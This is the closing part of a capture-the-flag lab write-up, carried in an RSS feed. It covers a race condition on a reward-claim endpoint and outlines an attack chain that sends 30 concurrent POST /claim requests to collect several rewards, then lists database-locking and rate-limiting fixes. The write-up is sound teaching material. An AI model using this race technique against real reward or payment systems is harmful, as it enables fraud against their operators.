&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Welcome to the Whale Vault."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"THM{[REDACTED]}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Race condition (TOCTOU) on &lt;code&gt;/claim&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The claim-eligibility check (has 24 hours passed?) and the balance-update write are two separate, non-atomic steps. Concurrent requests all read the pre-update state and all pass the check before any of them commits, allowing multiple rewards to be claimed within a window meant to permit only one.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;No idempotency or locking on the reward transaction&lt;/td&gt;
&lt;td&gt;No per-user mutex, database row lock, or idempotency key protects the claim-then-credit sequence, so the app has no way to serialize concurrent claim attempts from the same session.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Client-trusted cooldown display only&lt;/td&gt;
&lt;td&gt;The countdown timer and disabled button in the front end are purely cosmetic (&lt;code&gt;/js/dashboard.js&lt;/code&gt;); server-side enforcement is the only real gate, and it's the part that's racy.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Register + log in (normal account creation, no vuln needed)
        |
        v
GET /dashboard/api/me - learn balance, canClaim, whaleThreshold (150), reward (50/claim)
        |
        v
POST /claim (single request) - confirms one successful claim, then locked for ~24h
        |
        v
Register a second, unclaimed account (clean race target)
        |
        v
Fire 30 concurrent POST /claim requests before any single response commits
        |
        v
Multiple requests all read canClaim=true simultaneously -&amp;gt; 6/30 succeed -&amp;gt; 300 PONZI
        |
        v
GET /vault (balance &amp;gt;= 150) -&amp;gt; flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Make the claim-and-credit operation atomic. Use a single database
transaction with row-level locking (e.g. &lt;code&gt;SELECT ... FOR UPDATE&lt;/code&gt;) or an
atomic conditional update (e.g. &lt;code&gt;UPDATE users SET balance = balance + 50,
last_claim = NOW() WHERE id = ? AND last_claim &amp;lt; NOW() - INTERVAL '24
hours'&lt;/code&gt; and check the affected-row count) so the eligibility check and
the write happen as one indivisible step.&lt;/li&gt;
&lt;li&gt;Serialize claim attempts per user with an application-level lock or
mutex keyed to the user ID, so concurrent requests from the same session
queue rather than race.&lt;/li&gt;
&lt;li&gt;Never rely on client-side timers or disabled buttons to enforce
business rules; treat them as UX only and always re-validate fully on
the server for every request.&lt;/li&gt;
&lt;li&gt;Add basic rate limiting per user/session on sensitive state-changing
endpoints like &lt;code&gt;/claim&lt;/code&gt;, both to blunt this class of race and to slow
down automated abuse generally.&lt;/li&gt;
&lt;li&gt;Log and alert on anomalous reward patterns (e.g. multiple successful
claims for one user within a short window) as a detective control, in
case a race condition like this slips past preventive fixes.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
  </channel>
</rss>
